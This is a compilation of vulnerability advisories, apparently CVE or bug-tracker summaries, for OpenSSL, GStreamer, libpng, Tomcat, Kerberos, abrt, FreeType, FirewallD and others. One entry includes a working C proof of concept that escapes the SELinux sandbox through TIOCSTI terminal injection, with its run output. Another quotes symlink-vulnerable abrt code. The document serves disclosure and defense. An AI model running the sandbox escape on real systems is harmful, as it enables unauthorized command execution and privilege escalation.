A flaw was found in the way OpenSSL encoded certain ASN.1 data structures. An attacker could use this flaw to create a specially crafted certificate which, when verified or re-encoded by OpenSSL, could cause it to crash, or execute arbitrary code using the permissions of the user running an application compiled against the OpenSSL library.

SerializableProvider in RESTEasy in Red Hat Enterprise Linux Desktop 7, Red Hat Enterprise Linux HPC Node 7, Red Hat Enterprise Linux Server 7, and Red Hat Enterprise Linux Workstation 7 allows remote attackers to execute arbitrary code.

Heap-based buffer overflow in the flxdecodedeltafli function in gst/flx/gstflxdec.c in the FLIC decoder in GStreamer before 1.10.2 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via the startline parameter.

Heap-based buffer overflow in the flxdecodedeltafli function in gst/flx/gstflxdec.c in the FLIC decoder in GStreamer before 1.10.2 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) by providing a 'skip count' that goes beyond initialized buffer.

Heap-based buffer overflow in the flxdecodedeltafli function in gst/flx/gstflxdec.c in the FLIC decoder in GStreamer before 1.10.2 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) by providing a 'write count' that goes beyond the initialized buffer.

An underflow read was found in pngcheckkeyword in pngwutil.c in libpng-1.2.54:

If the data of "key" is only ' ' (0x20), it will read a byte before the buffer in line 1288.

This issue impacts upstream versions 1.2.55, 1.0.65, 1.4.18, and 1.5.25 of libpng.

An attacker could possibly use this flaw to cause an out-of-bounds read by tricking an unsuspecting user into processing a specially crafted PNG image.

Hi,

When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c #include <unistd.h> #include <sys/ioctl.h>

int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }

$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks, Federico Bento.

Apache Tomcat 7.x through 7.0.70 and 8.x through 8.5.4, when the CGI Servlet is enabled, follows RFC 3875 section 4.1.18 and therefore does not protect applications from the presence of untrusted client data in the HTTPPROXY environment variable, which might allow remote attackers to redirect an application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an "httpoxy" issue. NOTE: the vendor states "A mitigation is planned for future releases of Tomcat, tracked as CVE-2016-5388"; in other words, this is not a CVE ID for a vulnerability.

It was discovered that the Tomcat packages installed certain configuration files read by the Tomcat initialization script as writeable to the tomcat group. A member of the group or a malicious web application deployed on Tomcat could use this flaw to escalate their privileges.

A NULL pointer dereference flaw was found in the MIT Kerberos SPNEGO acceptor for continuation tokens. An unauthenticated attacker could use this flaw to crash the server acceptor.

It is reported that this issue affects version 1.5 and later.

A vulnerability allowing to elevate privileges from the abrt user to root was reported. If a program starting with the name "abrt" crashes, abrt-hook-ccpp will write the coredump to /var/tmp/abrt/$filename-coredump or /var/spool/abrt/$filename-coredump. From abrt-hook-ccpp.c:

if (lastslash && strncmp(++lastslash, "abrt", 4) == 0) { / If abrtd/abrt-foo crashes, we don't want to create a directory, since that can make new copy of abrtd to process it, and maybe crash again... Unlike dirs, mere files are ignored by abrtd. / if (snprintf(path, sizeof(path), "%s/%s-coredump", gsettingsdumplocation, lastslash) >= sizeof(path)) errormsganddie("Error saving '%s': truncated long file path", path);

int abrtcorefd = xopen3(path, OWRONLY | OCREAT | OTRUNC, 0600);

The call to xopen3() does not include the flag ONOFOLLOW and is therefore vulnerable to a symlink attack.

This vulnerability is not exploitable on RHEL installations with default configuration. It can be exploitable if the system is configured to use non-RHN yum repositories. This is because yum is normally not usable by non-root users if the only configured repositories are RHN.

Note: This security flaw has been split from bug #1262252.

A double-free flaw was found in the MIT Kerberos SPNEGO initiators. An attacker able to spoof packets to appear as though they are from an GSSAPI acceptor could use this flaw to crash a client application that uses MIT Kerberos.

It is reported that this issue affects version 1.10 and later.

FreeType before 2.5.4 does not check for the end of the data during certain parsing actions, which allows remote attackers to cause a denial of service (out-of-bounds read) or possibly have unspecified other impact via a crafted Type42 font, related to type42/t42parse.c and type1/t1load.c.

The ttsbitdecoderinit function in sfnt/ttsbit.c in FreeType before 2.5.4 proceeds with a count-to-size association without restricting the count value, which allows remote attackers to cause a denial of service (integer overflow and out-of-bounds read) or possibly have unspecified other impact via a crafted embedded bitmap.

Heap-based buffer overflow in wpasupplicant 1.0 through 2.4 allows remote attackers to cause a denial of service (crash), read memory, or possibly execute arbitrary code via crafted SSID information in a management frame when creating or updating P2P entries.

FirewallD provides dbus api for modification of configuration after user has been authenticated via polkit. This does not apply for 5 methods which can be called by any logged user using dbus api or firewall-cmd cli interface. Any predefined policy can be used, server or desktop.
